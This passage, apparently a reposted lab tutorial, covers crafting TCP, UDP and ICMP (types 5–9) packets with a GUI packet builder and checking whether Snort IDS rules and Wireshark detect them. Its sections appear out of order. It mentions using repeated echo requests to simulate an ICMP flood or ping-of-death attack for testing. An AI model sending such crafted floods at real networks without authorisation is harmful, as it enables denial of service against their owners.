![[Image: 32.jpg?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-R5eWue4OJ3I/Wkz8jyTGu5I/AAAAAAAATDk/82ykDBv1yIM1pRa3NoUAnnqj2fA_4dWowCEwYBhgL/s1600/32.jpg?w=687&ssl=1)
Analysis ICMP-Type5 packet through Wireshark
Again as per our prediction, Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message type “redirect” packet and other information.
![[Image: 33.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-JzOUSjJEmBc/Wkz8karQhwI/AAAAAAAATDs/38lc-tHLRlQrhA9FZFWbXL0A6TDzNG0kwCEwYBhgL/s1600/33.png?w=687&ssl=1)
Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 5 is successfully sent on the target machine.
![[Image: 34.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-hlRINRC_TMM/Wkz8kTXtPII/AAAAAAAATD0/CUZbpyd2esU-GoxEALvm257a2OitPT2EACEwYBhgL/s1600/34.png?w=687&ssl=1)
Message TYPE 6 ICMP Packet Crafting
So the Packet Assembly phase and Packet Editing phase for ICMP packet crafting are almost the same as above only the difference is made in change ICMP message through which connection will be established with the target network.
Here now next we want to send traffic through message type 6 packets for establishing a connection with target network, therefore, select Type 6 for Alternate Host Address from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
![[Image: 35.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-2asngdaLCzE/Wkz8kVxzlnI/AAAAAAAATD8/CzFaWp7SnAw0Z9oL0LRNRj1_9X5kYwH1wCEwYBhgL/s1600/35.png?w=687&ssl=1)
Capturing ICMP-Type6 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Alternate Host Address packet is found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
![[Image: 36.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-WYzCg-o0LC0/Wkz8lW9LfPI/AAAAAAAATEU/88cqNbxBaMU0m3BKoD1JAUWfIiLVoAi6QCEwYBhgL/s1600/36.png?w=687&ssl=1)
So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Alternate Host Address” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
![[Image: 37.jpg?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-wrK-teMPlvI/Wkz8lJ0w99I/AAAAAAAATEM/Yx6gCP5qdbIJ--ghVqObU4RasPMASIhaQCEwYBhgL/s1600/37.jpg?w=687&ssl=1)
Analysis ICMP-Type6 packet through Wireshark
From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message type “Alternate Host Address” packet and other information.
![[Image: 38.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-JSY3nNfL9gc/Wkz8lQI94PI/AAAAAAAATEc/PketBmJgiiEvVuSIDCSvrsLYMFypTxI3gCEwYBhgL/s1600/38.png?w=687&ssl=1)
Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 6 is successfully sent on the target machine.
![[Image: 39.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-enU8IerVsO0/Wkz8lxmJN8I/AAAAAAAATEg/0231YnPpy94Xn5clBvgnfmPn--YBuijDwCEwYBhgL/s1600/39.png?w=687&ssl=1)
Message TYPE 7 ICMP Packet Crafting
Again Repeat the same and send traffic through message type 7 packets for establishing a connection with the target network, therefore, select Type 7 for Unassigned from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
![[Image: 40.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ycdOz1BHuDc/Wkz8mADbN4I/AAAAAAAATEw/5sCltgS4VyUEpuOtn_Zo-Qy4v58Sr6azgCEwYBhgL/s1600/40.png?w=687&ssl=1)
Capturing ICMP-Type7 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Alternate Host Address packet is found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
![[Image: 41.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-gBga0Makf3E/Wkz8m3n33nI/AAAAAAAATHg/d5liSUkBuxggShWQqqnAYuuqtP-FFXsLACEwYBhgL/s1600/41.png?w=687&ssl=1)
Therefore when IDS received any matching packets described in the file of rules then it will generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP unassigned type 7” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
![[Image: 42.jpg?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-mDpf4pVQg8o/Wkz8nerhSpI/AAAAAAAATHc/gCcyR1Q0scweIlsP-beU6NQFtZuXsBPjwCEwYBhgL/s1600/42.jpg?w=687&ssl=1)
Analysis ICMP-Type7 packet through Wireshark
Wireshark has captured exactly the same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP unknown message type “obsolete or malformed” packet and other information.
![[Image: 43.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-tAxWN3-0KUw/Wkz8nsWXjTI/AAAAAAAATFI/p0iMIjljE-QFrJYXmB97qlewvpC6SE2qACEwYBhgL/s1600/43.png?w=687&ssl=1)
Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 7 is successfully sent on the target machine.
![[Image: 44.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-CoLXu2UhVhU/Wkz8n7PyZpI/AAAAAAAATFY/ybVk7ud2Ce02mCr7KkIs33tW9WhPhJsNgCEwYBhgL/s1600/44.png?w=687&ssl=1)
Message TYPE 8 ICMP Packet Crafting
Since we want to send traffic through message type 8 packets for establishing a connection with the target network, therefore, select Type 8 for ICMP echo Request from the given list.
This step is very useful because it will craft a packet will send ICMP Request packet on the target’s network to test the strength of IDS and Firewall.
Infinite packet ICMP Request packet is considered as ICMP Flood or Ping of Death Attack when sent the only network, therefore, we can check our IDS and Firewall Strength against such DOS attack through this packet crafting.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
![[Image: 45.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-89jO2FY2YnU/Wkz8n1m9cAI/AAAAAAAATHk/E59-bT_E3CsbmgbRlL2xdCJtoFrHLKiYQCEwYBhgL/s1600/45.png?w=687&ssl=1)
Capturing ICMP-Type8 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Ping packet is found in the network. As we know ICMP Echo Request packet is considered as Ping request packet which sends a request to a network IP for establishing a connection with it.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
![[Image: 46.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-auP3iko16J8/Wkz8oVTyv0I/AAAAAAAATFg/bICHuZCqu78ilsvQI6rWQtgf4xtjbV3dACEwYBhgL/s1600/46.png?w=687&ssl=1)
So when IDS received any matching packets defined in a file of rules then generates an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Ping ” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
![[Image: 47.jpg?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-mgumpVrdwcc/Wkz8or3-pCI/AAAAAAAATFw/Mp37p78Svj8fnuMWkYXS9DMzVXq_8lEsACEwYBhgL/s1600/47.jpg?w=687&ssl=1)
Analysis ICMP-Type8 packet through Wireshark
From given below image you can observe that Wireshark has captured Ping packet for ICMP Echo request as described above, exactly same information which we had a bind in packets such as ICMP protocol, ICMP Ping request message packet, and other information.
![[Image: 48.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Y7xAZ6AitMg/Wkz8o4VHO7I/AAAAAAAATHc/r5XWI9b-kQE6v9C0so_TkMjgxjjizXIOQCEwYBhgL/s1600/48.png?w=687&ssl=1)
Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 8 is successfully sent on the target machine.
![[Image: 49.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-pvaWLOjV7rA/Wkz8owB3r6I/AAAAAAAATHk/A7Vaks44gUsC47wSLJJgERpfPSza7gqHgCEwYBhgL/s1600/49.png?w=687&ssl=1)
Message TYPE 9 ICMP Packet Crafting
Now, at last, we want to send traffic through message type 9 packets for establishing a connection with the target network, therefore, select Type 9 for Router Advertisement from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
![[Image: 50.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-JJMGL9jvGfU/Wkz8pbbmjAI/AAAAAAAATHg/azZ5IPFsbcQfxTstnxAmlkJd75S0E8X_wCEwYBhgL/s1600/50.png?w=687&ssl=1)
Capturing ICMP-Type9 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Router Advertisement packet is found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
![[Image: 51.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-BnC4Et7hB3w/Wkz8q23nuoI/AAAAAAAATGo/UkkhK_i7CVcqcnnERWPOSkIXhqck5lwZwCEwYBhgL/s1600/51.png?w=687&ssl=1)
So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Router Advertisement” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
![[Image: 52.jpg?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-4VupOLkukHY/Wkz8qBotxdI/AAAAAAAATGc/xl3JJKvh7Jcf6tN4k_iAMWLcxwTcTziowCEwYBhgL/s1600/52.jpg?w=687&ssl=1)
Analysis ICMP-Type9 packet through Wireshark
From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP P ICMP Router Advertisement message packet and other information.
![[Image: 53.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-TFscPVlX6_Y/Wkz8quW0lSI/AAAAAAAATGk/ajrUWfsF6WQARH6VS5XWd2250aiwLHPuwCEwYBhgL/s1600/53.png?w=687&ssl=1)
Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 9 is successfully sent on the target machine.
![[Image: 54.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-WeNbF0EMiCw/Wkz8qxsHGlI/AAAAAAAATHc/mp90f-2AprEH6aF9WkI_Y-ozsgModZdFwCEwYBhgL/s1600/54.png?w=687&ssl=1)
Hello friends ! in our
[To see content please register here]
article we had described packet crafting using colasoft packet builder. Again we are going to use a new tool “Cat KARAT” for packet crafting to test our network by crafting various kind of network packet.Cat Karat Packet Builder is a is a handy, easy to use IP4, IP6, IP4/IP6 tunnels, PPPoE, TCP, UDP, ICMPv4, ICMPv6, VRRP, IGMP, ARP, DHCP , OAM, VLAN (Q in Q), MPLS, Spanning tree BPDU and LLDP packet generation tool that allows to build custom packets for firewall or target testing and has integrated scripting ability for automated testing.
This Packet Builder enables the user to specify the entire contents of the packet from the GUI. In addition to building packets. Packet Builder also supports saving packets to packet files and sending packets to the network. It can be used at all kinds of network areas like traffic generator, packet generator or protocol simulator.
This project also provides a packet capture tool. It is designed for use by anyone who wants to inject packets into a network and/or observe packets exiting a network. Usually, packet operation by following a protocol stack is limited to command line interface. With this tool, all user have to do is click the screen, which almost everybody can do
From:
[To see content please register here]
You can download it from given link above.
Let’s start!!
As we had discussed in our previous article that there is 4 mode of operation in packet crafting.
- Packet Assembly
- Packet Editing
- Packet Playing
- Packet Analysis
Now when you will run the installed application “Cat KARAT” you will observe three important sections “Interfaces”, “Packet flow” and Packet view which in their default state as shown in given below image.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-UxGwIxhPleY/Wkxwqiu9Q3I/AAAAAAAAS9U/ujm-bCs3mUwBGwbUT95oZWqpBaIhIErCwCEwYBhgL/s1600/1.png?w=687&ssl=1)
TCP-SYN Packet Crafting
So as we know in Packet Assembly phase we need to decide protocol for crafting any packet, which is quite easy to select with this tool. Only enable the radio button for selecting protocol and direction flow of packet. Here I had enabled radio buttons for “IPv4” and “TCP” without disturbing remaining default packet flow as shown given below image.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Kgu3X-PcpP4/WkxwuYiHw6I/AAAAAAAAS-Y/Baoi0hmZHfAshkVPmWAiObE3W3fO2xKowCEwYBhgL/s1600/2.png?w=687&ssl=1)
Next, we need to select the interface which you can select from the second sections of Interfaces by double-Click on it.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-UxCJswJEMFo/Wkxwug9TuqI/AAAAAAAAS-U/ZDjKgNaMoqcoTaBPxeE3n5ipLzYyoYqTwCEwYBhgL/s1600/3.png?w=687&ssl=1)
Now next is packet Editing phase where you need to specify the source IP address such as 192.168.1.11 from which packet will be sent and Destination IP address such as 192.168.1.12 on which packet is received. Moreover, you can also make some changes in your packet such as Time to live (TTL), Data length and also can go with packet fragmentation.
From given below image you can observe I had added source and destination IP in the packet under the third section protocol view -> Ipv4
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-26arOPJew6o/Wkxwu9L8a1I/AAAAAAAAS-U/YgS8jgI2aQI6L9EUbCMG7n2Sc_P7U4fYACEwYBhgL/s1600/4.png?w=687&ssl=1)
As we know TCP protocol uses TCP-flag for communication to established connection with Destination IP. Therefore we are crafting TCP-SYN packet under the third section protocol view -> TCP by enabling sync sequence option which flows from source port 80 to destination port 80.
Once everything is edited then your packet is ready to send on the target network.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-eIifmnVMNRg/WkxwvcWHxNI/AAAAAAAAS-U/Sn7QGZOwek4U4YiXtvcl-db-Gxy5qWLKwCEwYBhgL/s1600/5.png?w=687&ssl=1)
Click on play button given in menu bar for sending the packet on target’s network.
As we know after finishing packet editing operation we need to send it on target network which is known as “Packet Playing” in this mode we actually test packet Assembly and packet Editing mode if show packet is sent successfully else again we send a packet in packet Editing mode for modification.
From given below image you can observe the result “Packet sent successfully”
![[Image: 6.1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-YQFRh78R1NU/WkxwvW7N94I/AAAAAAAAS-U/IrK8ir5B0ckuhCZ6HbvbQNXA-xwogWnnwCEwYBhgL/s1600/6.1.png?w=687&ssl=1)
The last phase is the Packet Analysis mode where the received packet is analysis using packet analysis tool. Here we had to use Wireshark for capturing incoming traffic. Hence from given below image, you can observe that Wireshark has captured exactly the same information which we had a bind in the packet during packet Assembly and packet Editing modes such as TCP protocol and TCP-SYN packet.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Jk8tnkII7Rs/WkxwvsG-D1I/AAAAAAAAS-Y/M3IO1XCkzEUu3UoGV7zUEBDBQ6Zov6IAwCEwYBhgL/s1600/7.png?w=687&ssl=1)
TCP-RST Packet Crafting
So the Packet Assembly phase and Packet Editing phase for TCP–RST packet crafting is almost the same as above only the difference is made in change TCP-Flag through which connection will be established with target network.
Since we want to send traffic through only reset packets for establishing a connection with the target network, therefore, enable the checkbox of Reset connect.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-FoNkVJtj47M/WkxwwJ54MpI/AAAAAAAAS-Y/BwUduQjbgnUen9UcOJqVxFqHINsC7wjjQCEwYBhgL/s1600/9.png?w=687&ssl=1)
Click on play button given in menu bar for sending the packet on target’s network which is part of Packet playing mode.
From given below image you can observe the result “Packet sent successfully”
![[Image: 10.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-TGXAJ9DuTBE/WkxwqquRB_I/AAAAAAAAS-U/66zK92Kp0FosBJgiyx0J5LCs81D_BnJvgCEwYBhgL/s1600/10.1.png?w=687&ssl=1)
Hence from given below image, you can observe that Wireshark has captured exactly the same information which we had a bind in the packet during packet Assembly and packet Editing modes such as TCP protocol and TCP-RST packet.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ObWtHd4v2hg/WkxwqgUbuqI/AAAAAAAAS-U/T3D3wEhTmAU0riplgrJyk_mVFoEJgATLQCEwYBhgL/s1600/10.png?w=687&ssl=1)
TCP-PSH/ACK Packet Crafting
So the Packet Assembly phase and Packet Editing phase for TCP–PSH/ACK packet crafting is almost same as above only the difference is made in change TCP-Flag through which connection will be established with target network.
Since we want to send traffic through only Push with Acknowledgement packets for establishing a connection with the target network, therefore, enable the checkbox of PUSH Function and Acknowledgement.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-YqWdZN0CJqE/WkxwrgOirrI/AAAAAAAAS-U/BvpQlWgUSwwPcnNg0_yA8si8hxwOltwTQCEwYBhgL/s1600/12.png?w=687&ssl=1)
Click on play button given in menu bar for sending the packet on target’s network which is part of Packet playing mode.
From given below image you can observe the result “Packet sent successfully”
![[Image: 13.1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-gxLFkgc-ibI/WkxwsDVkofI/AAAAAAAAS-U/LfuiRwnk9HMMqIvruMO6Rzc95486YrjHACEwYBhgL/s1600/13.1.png?w=687&ssl=1)
Hence from given below image, you can observe that Wireshark has captured exactly the same information which we had a bind in the packet during packet Assembly and packet Editing mode such as TCP protocol and TCP-PSH/ACK packet.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-yX9b0Idnmbs/WkxwsSNbLaI/AAAAAAAAS-Y/BE05Y5mrI7QiJm4MIyehnIbSX0ULV0SPgCEwYBhgL/s1600/13.png?w=687&ssl=1)
UDP Packet Crafting
Similarly as above in Packet Assembly phase, we need to decide protocol for crafting UDP packet, enable the radio button for selecting protocol and direction flow of packet. Here I had enabled radio buttons for “IPv4” and “UDP” without disturbing remaining default packet flow as shown given below image.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-6CkZbAJ8G-M/WkxwsTHn4EI/AAAAAAAAS-U/LHUiB7Zizeo7xiSVKdz1PkAFjGWGdRh5gCEwYBhgL/s1600/14.png?w=687&ssl=1)
Move into Protocol view section for Packet Editing and enter source and destination IP. I had added source and destination IP in the packet under the third section protocol view -> Ipv4 as done above.
![[Image: 15.1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-RtZ-Ug2sqf8/WkxwtDrk8kI/AAAAAAAAS-U/_n5pXrFjB8kxm8ONy4cPvtzOsf2hkO5sQCEwYBhgL/s1600/15.1.png?w=687&ssl=1)
Now explore the UDP tab for design UDP packets as per your requirement, from given below image you can observe default setting details.
Source port: 00000
Destination port: 00000
Now the UDP traffic will flow from source port 0 to destination port 0.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-MOunOOr2b6w/WkxwtufAAYI/AAAAAAAAS-U/9YcKYtPgCscOws1uIQx5VOOQzyr6bGKmQCEwYBhgL/s1600/15.png?w=687&ssl=1)
Click on play button given in menu bar for sending the packet on target’s network which is part of Packet playing mode.
From given below image you can observe the result “Packet sent successfully”
![[Image: 16.1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-QI84jBH0QEw/Wkxwt5t0CII/AAAAAAAAS-U/XCMIjYCIaLgTOpNhruaPKGKrFTLXHHDtwCEwYBhgL/s1600/16.1.png?w=687&ssl=1)
From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as UDP protocol and from source port 0 to destination 0 of 60 lengths.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-gLhe7nY-cgM/WkxwuHUaPKI/AAAAAAAAS-U/jT-R1UKWEXYoWvWJYwCpUutnq159UnuCgCEwYBhgL/s1600/16.png?w=687&ssl=1)














